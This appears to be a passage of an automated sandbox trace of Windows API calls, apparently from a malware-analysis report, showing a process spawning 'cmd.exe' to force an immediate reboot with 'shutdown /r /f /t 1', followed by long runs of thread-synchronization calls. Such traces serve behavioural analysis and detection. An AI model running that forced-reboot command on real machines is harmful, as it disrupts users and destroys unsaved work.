	[0120.459] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e380, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e380*=0xcc) returned 1
	[0120.459] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e384, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e384*=0xd4) returned 1
	[0120.459] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xd0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e388, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e388*=0xd8) returned 1
	[0120.459] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"shutdown /r /f /t 1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x127ec000, lpCurrentDirectory=0x0, lpStartupInfo=0x1278dd58*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xcc, hStdOutput=0xd4, hStdError=0xd8), lpProcessInformation=0x1278dd34 | out: lpCommandLine="cmd.exe /c \"shutdown /r /f /t 1\"", lpProcessInformation=0x1278dd34*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x8c4, dwThreadId=0x8cc)) returned 1
	[0120.469] CloseHandle (hObject=0xdc) returned 1
	[0120.469] CloseHandle (hObject=0xd8) returned 1
	[0120.469] CloseHandle (hObject=0xd4) returned 1
	[0120.469] CloseHandle (hObject=0xcc) returned 1
	[0120.469] CloseHandle (hObject=0xb8) returned 1
	[0120.469] CloseHandle (hObject=0xbc) returned 1
	[0120.469] CloseHandle (hObject=0xd0) returned 1
	[0120.469] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0120.818] SetEvent (hEvent=0xa8) returned 1
	[0120.818] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x1278de68 | out: lpExitCode=0x1278de68*=0x0) returned 1
	[0120.818] GetProcessTimes (in: hProcess=0xe0, lpCreationTime=0x125d0800, lpExitTime=0x125d0808, lpKernelTime=0x125d0810, lpUserTime=0x125d0818 | out: lpCreationTime=0x125d0800, lpExitTime=0x125d0808, lpKernelTime=0x125d0810, lpUserTime=0x125d0818) returned 1
	[0120.818] CloseHandle (hObject=0xe0) returned 1
	[0120.818] SetEvent (hEvent=0x6c) returned 1
	[0120.818] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x5) returned 0x102
	[0120.839] SetEvent (hEvent=0x6c) returned 1
	[0120.839] ExitProcess (uExitCode=0x0) 

Thread:
	id = 4
	os_tid = 0xafc

	[0028.430] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3258ff60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3258ff60*=0x7c) returned 1
	[0028.430] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x80
	[0028.430] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0028.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0028.797] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0033.419] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0033.436] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0033.561] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0033.898] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0033.909] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.013] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.331] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.346] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.443] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.736] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.746] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0034.849] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.207] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.212] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.312] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.665] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.675] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0035.774] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.456] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.467] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.563] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.868] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.879] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0036.983] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.280] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.283] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.386] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.781] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.797] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0037.902] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.242] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.250] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.346] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.639] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.656] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0038.733] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.084] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.097] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.214] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.505] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.515] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0039.697] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.029] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.045] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.160] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.504] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.507] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.607] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.904] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0040.907] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.006] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.306] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.322] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.417] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.728] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.733] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0041.836] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.128] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.137] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.242] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.559] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.562] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.677] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.976] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0042.993] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.087] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.453] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.468] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.570] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.898] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.903] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0043.997] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.290] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.298] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.395] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.681] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.696] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0044.790] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.080] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.091] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.193] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.468] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.521] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.617] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.914] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0045.918] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.011] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.294] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.312] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.409] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.690] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.695] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0046.791] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.093] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.109] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.206] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.479] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.491] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.585] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.872] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.885] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0047.967] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.341] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.351] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.445] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.742] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.747] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0048.845] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.148] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.161] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.262] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.546] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.563] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.675] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.966] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0049.976] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.480] SetEvent (hEvent=0x78) returned 1
	[0050.480] SetEvent (hEvent=0x6c) returned 1
	[0050.480] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] SetEvent (hEvent=0x78) returned 1
	[0050.482] SetEvent (hEvent=0x6c) returned 1
	[0050.482] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.484] SetEvent (hEvent=0x8c) returned 1
	[0050.485] SetEvent (hEvent=0x78) returned 1
	[0050.485] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0050.486] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0050.487] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] SetEvent (hEvent=0x8c) returned 1
	[0050.487] SetEvent (hEvent=0x78) returned 1
	[0050.487] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] SetEvent (hEvent=0x78) returned 1
	[0050.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x100000, lpStartAddress=0x44bd00, lpParameter=0x123ba240, dwCreationFlags=0x10000, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0
	[0050.488] CloseHandle (hObject=0xb0) returned 1
	[0050.489] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0051.481] SetEvent (hEvent=0x6c) returned 1
	[0051.481] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0051.481] SetEvent (hEvent=0x8c) returned 1
	[0051.482] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0052.494] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] SetEvent (hEvent=0x8c) returned 1
	[0052.495] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] SetEvent (hEvent=0x78) returned 1
	[0067.231] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.232] SetEvent (hEvent=0x78) returned 1
	[0067.232] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.238] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.259] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.289] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.355] SetEvent (hEvent=0x78) returned 1
	[0067.355] SetEvent (hEvent=0xb4) returned 1
	[0067.355] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0067.361] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.361] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0067.362] SetEvent (hEvent=0x78) returned 1
	[0067.362] SetEvent (hEvent=0xb4) returned 1
	[0067.362] SetEvent (hEvent=0x8c) returned 1
	[0067.362] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.362] SetEvent (hEvent=0xa8) returned 1
	[0067.362] SetEvent (hEvent=0x8c) returned 1
	[0067.362] SetEvent (hEvent=0x6c) returned 1
	[0067.362] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.367] SetEvent (hEvent=0x6c) returned 1
	[0067.367] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.369] SetEvent (hEvent=0x6c) returned 1
	[0067.369] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.369] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.389] SetEvent (hEvent=0x6c) returned 1
	[0067.389] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.391] SetEvent (hEvent=0x8c) returned 1
	[0067.391] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.444] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.445] SetEvent (hEvent=0x8c) returned 1
	[0067.445] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.445] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] SetEvent (hEvent=0x78) returned 1
	[0067.527] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] SetEvent (hEvent=0x78) returned 1
	[0067.528] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.534] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.554] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.588] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.592] SetEvent (hEvent=0x78) returned 1
	[0067.592] SetEvent (hEvent=0xb4) returned 1
	[0067.592] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0067.595] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.595] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0067.596] SetEvent (hEvent=0x78) returned 1
	[0067.596] SetEvent (hEvent=0xb4) returned 1
	[0067.596] SetEvent (hEvent=0x8c) returned 1
	[0067.596] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.596] SetEvent (hEvent=0xa8) returned 1
	[0067.596] SetEvent (hEvent=0x8c) returned 1
	[0067.596] SetEvent (hEvent=0x6c) returned 1
	[0067.596] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.602] SetEvent (hEvent=0x6c) returned 1
	[0067.602] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.603] SetEvent (hEvent=0x6c) returned 1
	[0067.603] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.603] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.623] SetEvent (hEvent=0x6c) returned 1
	[0067.623] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.624] SetEvent (hEvent=0x8c) returned 1
	[0067.624] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.666] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] SetEvent (hEvent=0x8c) returned 1
	[0067.667] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] SetEvent (hEvent=0x78) returned 1
	[0067.764] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] SetEvent (hEvent=0x78) returned 1
	[0067.764] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.796] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.799] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.840] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] SetEvent (hEvent=0x6c) returned 1
	[0067.851] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.878] SetEvent (hEvent=0x6c) returned 1
	[0067.878] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.879] SetEvent (hEvent=0x6c) returned 1
	[0067.879] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.880] SetEvent (hEvent=0x6c) returned 1
	[0067.880] SwitchToThread () returned 1
	[0067.880] SetEvent (hEvent=0x6c) returned 1
	[0067.880] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.880] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.935] SetEvent (hEvent=0x6c) returned 1
	[0067.935] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.937] SetEvent (hEvent=0x78) returned 1
	[0067.937] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.961] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.964] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0067.989] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.008] SetEvent (hEvent=0x6c) returned 1
	[0068.008] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.008] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.034] SetEvent (hEvent=0x6c) returned 1
	[0068.034] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.036] SetEvent (hEvent=0x6c) returned 1
	[0068.036] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.036] SetEvent (hEvent=0x6c) returned 1
	[0068.036] SwitchToThread () returned 1
	[0068.036] SetEvent (hEvent=0x6c) returned 1
	[0068.036] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.037] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.085] SetEvent (hEvent=0x6c) returned 1
	[0068.085] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.086] SetEvent (hEvent=0x78) returned 1
	[0068.086] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.137] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.191] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.235] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.258] SetEvent (hEvent=0x6c) returned 1
	[0068.258] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.272] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.337] SetEvent (hEvent=0x6c) returned 1
	[0068.338] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.350] SetEvent (hEvent=0x6c) returned 1
	[0068.350] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.363] SetEvent (hEvent=0x6c) returned 1
	[0068.363] SwitchToThread () returned 1
	[0068.372] SetEvent (hEvent=0x6c) returned 1
	[0068.372] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.385] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.443] SetEvent (hEvent=0x6c) returned 1
	[0068.443] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.444] SetEvent (hEvent=0x78) returned 1
	[0068.445] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.468] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.471] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.506] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.512] SetEvent (hEvent=0x6c) returned 1
	[0068.512] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.513] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.538] SetEvent (hEvent=0x6c) returned 1
	[0068.538] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.540] SetEvent (hEvent=0x6c) returned 1
	[0068.540] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.540] SetEvent (hEvent=0x6c) returned 1
	[0068.540] SwitchToThread () returned 1
	[0068.540] SetEvent (hEvent=0x6c) returned 1
	[0068.540] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.541] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] SetEvent (hEvent=0x6c) returned 1
	[0068.586] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.588] SetEvent (hEvent=0x78) returned 1
	[0068.588] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.613] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.616] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.645] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.663] SetEvent (hEvent=0x6c) returned 1
	[0068.663] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.663] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.689] SetEvent (hEvent=0x6c) returned 1
	[0068.689] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.691] SetEvent (hEvent=0x6c) returned 1
